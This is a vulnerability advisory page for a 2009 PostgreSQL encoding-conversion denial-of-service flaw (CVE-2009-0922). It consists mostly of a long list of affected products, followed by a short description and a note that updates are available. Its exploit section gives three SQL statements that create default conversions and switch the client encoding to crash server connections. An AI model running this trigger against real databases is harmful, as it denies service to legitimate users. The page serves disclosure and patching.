PostgreSQL Conversion Encoding Remote Denial of Service Vulnerability

BID:34090

Info

PostgreSQL Conversion Encoding Remote Denial of Service Vulnerability

Bugtraq ID: 34090
Class: Boundary Condition Error
CVE: CVE-2009-0922
Remote: Yes
Local: No
Published: Mar 11 2009 12:00AM
Updated: Apr 13 2015 09:19PM
Credit: Afonin Denis
Vulnerable: Ubuntu Ubuntu Linux 8.10 sparc
Ubuntu Ubuntu Linux 8.10 powerpc
Ubuntu Ubuntu Linux 8.10 lpia
Ubuntu Ubuntu Linux 8.10 i386
Ubuntu Ubuntu Linux 8.10 amd64
Ubuntu Ubuntu Linux 8.04 LTS sparc
Ubuntu Ubuntu Linux 8.04 LTS powerpc
Ubuntu Ubuntu Linux 8.04 LTS lpia
Ubuntu Ubuntu Linux 8.04 LTS i386
Ubuntu Ubuntu Linux 8.04 LTS amd64
Ubuntu Ubuntu Linux 6.06 LTS sparc
Ubuntu Ubuntu Linux 6.06 LTS powerpc
Ubuntu Ubuntu Linux 6.06 LTS i386
Ubuntu Ubuntu Linux 6.06 LTS amd64
Turbolinux Turbolinux Server 10.0
Turbolinux Turbolinux Server 11 x64
Turbolinux Turbolinux Server 11
Turbolinux Turbolinux Server 10.0.0 x64
Turbolinux FUJI 0
Turbolinux Client 2008
Turbolinux Appliance Server 3.0 x64
Turbolinux Appliance Server 3.0
Turbolinux Appliance Server 2.0
SuSE SUSE Linux Enterprise Server 9
SuSE SUSE Linux Enterprise Server 11
+ Linux kernel 2.6.5
SuSE SUSE Linux Enterprise Server 10
SuSE SUSE Linux Enterprise Desktop 11
SuSE openSUSE 10.3
Sun Solaris 10_x86
Sun Solaris 10_sparc
Sun OpenSolaris build snv_99
Sun OpenSolaris build snv_96
Sun OpenSolaris build snv_95
Sun OpenSolaris build snv_94
Sun OpenSolaris build snv_93
Sun OpenSolaris build snv_92
Sun OpenSolaris build snv_91
Sun OpenSolaris build snv_90
Sun OpenSolaris build snv_89
Sun OpenSolaris build snv_88
Sun OpenSolaris build snv_87
Sun OpenSolaris build snv_86
Sun OpenSolaris build snv_85
Sun OpenSolaris build snv_84
Sun OpenSolaris build snv_83
Sun OpenSolaris build snv_82
Sun OpenSolaris build snv_81
Sun OpenSolaris build snv_80
Sun OpenSolaris build snv_78
Sun OpenSolaris build snv_77
Sun OpenSolaris build snv_76
Sun OpenSolaris build snv_68
Sun OpenSolaris build snv_67
Sun OpenSolaris build snv_64
Sun OpenSolaris build snv_61
Sun OpenSolaris build snv_59
Sun OpenSolaris build snv_57
Sun OpenSolaris build snv_50
Sun OpenSolaris build snv_47
Sun OpenSolaris build snv_45
Sun OpenSolaris build snv_39
Sun OpenSolaris build snv_36
Sun OpenSolaris build snv_29
Sun OpenSolaris build snv_22
Sun OpenSolaris build snv_19
Sun OpenSolaris build snv_13
Sun OpenSolaris build snv_110
Sun OpenSolaris build snv_109
Sun OpenSolaris build snv_108
Sun OpenSolaris build snv_107
Sun OpenSolaris build snv_106
Sun OpenSolaris build snv_105
Sun OpenSolaris build snv_104
Sun OpenSolaris build snv_103
Sun OpenSolaris build snv_102
Sun OpenSolaris build snv_101a
Sun OpenSolaris build snv_101
Sun OpenSolaris build snv_100
Sun OpenSolaris build snv_02
Sun OpenSolaris build snv_01
Sun OpenSolaris 0
S.u.S.E. openSUSE 11.1
S.u.S.E. openSUSE 11.0
S.u.S.E. Open-Enterprise-Server 0
rPath rPath Linux 2
RedHat Enterprise Linux WS 4
RedHat Enterprise Linux ES 4
RedHat Enterprise Linux Desktop Workstation 5 client
RedHat Enterprise Linux Desktop version 4
RedHat Application Stack v2 0
Red Hat Enterprise Linux Desktop 5 client
Red Hat Enterprise Linux AS 4
Red Hat Enterprise Linux 5 Server
PostgreSQL PostgreSQL 8.3.6
PostgreSQL PostgreSQL 8.2.6
PostgreSQL PostgreSQL 8.2.4
PostgreSQL PostgreSQL 8.2.3
PostgreSQL PostgreSQL 8.2.2
PostgreSQL PostgreSQL 8.2
PostgreSQL PostgreSQL 8.1.11
PostgreSQL PostgreSQL 8.1.9
PostgreSQL PostgreSQL 8.1.8
PostgreSQL PostgreSQL 8.1.5
PostgreSQL PostgreSQL 8.1.4
PostgreSQL PostgreSQL 8.1.3
PostgreSQL PostgreSQL 8.1.1
PostgreSQL PostgreSQL 8.0.317
PostgreSQL PostgreSQL 8.0.15
PostgreSQL PostgreSQL 8.0.13
PostgreSQL PostgreSQL 8.0.9
PostgreSQL PostgreSQL 8.0.8
PostgreSQL PostgreSQL 8.0.7
PostgreSQL PostgreSQL 8.0.5
PostgreSQL PostgreSQL 8.0.4
PostgreSQL PostgreSQL 8.0.3
PostgreSQL PostgreSQL 8.0.2
+ Trustix Secure Linux 2.2
PostgreSQL PostgreSQL 8.0.1
PostgreSQL PostgreSQL 8.0
+ Trustix Secure Linux 2.2
PostgreSQL PostgreSQL 7.4.19
PostgreSQL PostgreSQL 7.4.17
PostgreSQL PostgreSQL 7.4.14
PostgreSQL PostgreSQL 7.4.13
PostgreSQL PostgreSQL 7.4.12
PostgreSQL PostgreSQL 7.4.11
PostgreSQL PostgreSQL 7.4.10
PostgreSQL PostgreSQL 7.4.9
PostgreSQL PostgreSQL 7.4.8
PostgreSQL PostgreSQL 7.4.7
PostgreSQL PostgreSQL 7.4.6
PostgreSQL PostgreSQL 7.4.5
PostgreSQL PostgreSQL 7.4.4
PostgreSQL PostgreSQL 7.4.3
PostgreSQL PostgreSQL 7.4.2
PostgreSQL PostgreSQL 7.4.1
PostgreSQL PostgreSQL 7.4
PostgreSQL PostgreSQL 7.3.21
PostgreSQL PostgreSQL 7.3.19
PostgreSQL PostgreSQL 7.3.16
PostgreSQL PostgreSQL 7.3.15
PostgreSQL PostgreSQL 7.3.14
PostgreSQL PostgreSQL 7.3.13
PostgreSQL PostgreSQL 7.3.12
PostgreSQL PostgreSQL 7.3.11
PostgreSQL PostgreSQL 7.3.10
PostgreSQL PostgreSQL 7.3.9
PostgreSQL PostgreSQL 7.3.8
PostgreSQL PostgreSQL 7.3.6
PostgreSQL PostgreSQL 7.3.4
+ OpenPKG OpenPKG Current
PostgreSQL PostgreSQL 7.3.3
PostgreSQL PostgreSQL 7.3.2
PostgreSQL PostgreSQL 7.3.1
PostgreSQL PostgreSQL 7.3
PostgreSQL PostgreSQL 7.2.7
PostgreSQL PostgreSQL 7.2.4
+ RedHat Linux 8.0
+ RedHat Linux 7.3
PostgreSQL PostgreSQL 7.2.3
PostgreSQL PostgreSQL 7.2.2
PostgreSQL PostgreSQL 7.2.1
+ Conectiva Linux 8.0
+ Debian Linux 3.0 sparc
+ Debian Linux 3.0 s/390
+ Debian Linux 3.0 ppc
+ Debian Linux 3.0 mipsel
+ Debian Linux 3.0 mips
+ Debian Linux 3.0 m68k
+ Debian Linux 3.0 ia-64
+ Debian Linux 3.0 ia-32
+ Debian Linux 3.0 hppa
+ Debian Linux 3.0 arm
+ Debian Linux 3.0 alpha
+ Debian Linux 3.0
+ Gentoo Linux 0.7
+ Gentoo Linux 0.5
PostgreSQL PostgreSQL 7.2
PostgreSQL PostgreSQL 7.1.3
PostgreSQL PostgreSQL 7.1.2
+ Mandriva Linux Mandrake 8.1 ia64
+ Mandriva Linux Mandrake 8.1
PostgreSQL PostgreSQL 7.1.1
PostgreSQL PostgreSQL 7.1
PostgreSQL PostgreSQL 7.0.3
PostgreSQL PostgreSQL 7.0.2
PostgreSQL PostgreSQL 6.5.3
PostgreSQL PostgreSQL 6.3.2
PostgreSQL PostgreSQL 8.1.7
PostgreSQL PostgreSQL 8.0.11
PostgreSQL PostgreSQL 7.4.16
PDGSoft Shopping Cart 8.1.2
PDGSoft Shopping Cart 8.1
PDGSoft Shopping Cart 8.0.6
Pardus Linux 2008 0
Mandriva Linux Mandrake 2009.0 x86_64
Mandriva Linux Mandrake 2009.0
Mandriva Linux Mandrake 2008.1 x86_64
Mandriva Linux Mandrake 2008.1
Mandriva Linux Mandrake 2008.0 x86_64
Mandriva Linux Mandrake 2008.0
MandrakeSoft Corporate Server 4.0 x86_64
MandrakeSoft Corporate Server 3.0 x86_64
MandrakeSoft Corporate Server 3.0
MandrakeSoft Corporate Server 4.0
HP Network Node Manager i 9.10
HP Network Node Manager i 9.03
HP Network Node Manager i 9.02
HP Network Node Manager i 9.01
HP Network Node Manager i 8.1
Gentoo Linux
Debian Linux 5.0 sparc
Debian Linux 5.0 s/390
Debian Linux 5.0 powerpc
Debian Linux 5.0 mipsel
Debian Linux 5.0 mips
Debian Linux 5.0 m68k
Debian Linux 5.0 ia-64
Debian Linux 5.0 ia-32
Debian Linux 5.0 hppa
Debian Linux 5.0 armel
Debian Linux 5.0 arm
Debian Linux 5.0 amd64
Debian Linux 5.0 alpha
Debian Linux 5.0
Avaya Message Networking 3.1
Avaya Meeting Exchange 5.0 .0.52
Avaya Meeting Exchange 5.2
Avaya Meeting Exchange 5.1 SP1
Avaya Meeting Exchange 5.1
Avaya Meeting Exchange 5.0 SP2
Avaya Meeting Exchange 5.0 SP1
Avaya Meeting Exchange 5.0
Avaya Intuity AUDIX LX R1.1
Avaya Intuity AUDIX LX 2.0 SP2
Avaya Intuity AUDIX LX 2.0 SP1
Avaya Intuity AUDIX LX 2.0
Avaya Intuity AUDIX LX 1.0
Avaya Interactive Response 4.0
Avaya Aura SIP Enablement Services 5.2.1
Avaya Aura SIP Enablement Services 5.2
Avaya Aura SIP Enablement Services 5.1
Avaya Aura SIP Enablement Services 4.0
Avaya Aura Communication Manager 5.2
Avaya Aura Communication Manager 5.1
Avaya Aura Application Enablement Services 4.2.2
Avaya Aura Application Enablement Services 5.2
Avaya Aura Application Enablement Services 4.2
Not Vulnerable: Sun OpenSolaris build snv_111a

Discussion

PostgreSQL Conversion Encoding Remote Denial of Service Vulnerability

PostgreSQL is prone to a remote denial-of-service vulnerability.

Exploiting this issue may allow attackers to terminate connections to the PostgreSQL server, denying service to legitimate users.

Exploit / POC

PostgreSQL Conversion Encoding Remote Denial of Service Vulnerability

The following example query is available:

test=# CREATE DEFAULT CONVERSION test1 FOR 'LATIN1' TO 'KOI8' FROM
ascii_to_mic;
CREATE CONVERSION
test=# CREATE DEFAULT CONVERSION test2 FOR 'KOI8' TO 'LATIN1' FROM
mic_to_ascii;
CREATE CONVERSION
test=# set client_encoding to 'LATIN1';

Solution / Fix

PostgreSQL Conversion Encoding Remote Denial of Service Vulnerability

Solution:
Updates are available. Please see the references for more information.


Ubuntu Ubuntu Linux 8.10 powerpc

Mandriva Linux Mandrake 2008.0

Ubuntu Ubuntu Linux 8.10 sparc

Mandriva Linux Mandrake 2009.0 x86_64

Mandriva Linux Mandrake 2008.1 x86_64

Mandriva Linux Mandrake 2008.1

Ubuntu Ubuntu Linux 8.10 i386

Ubuntu Ubuntu Linux 8.04 LTS lpia

Ubuntu Ubuntu Linux 6.06 LTS i386

MandrakeSoft Corporate Server 3.0

References

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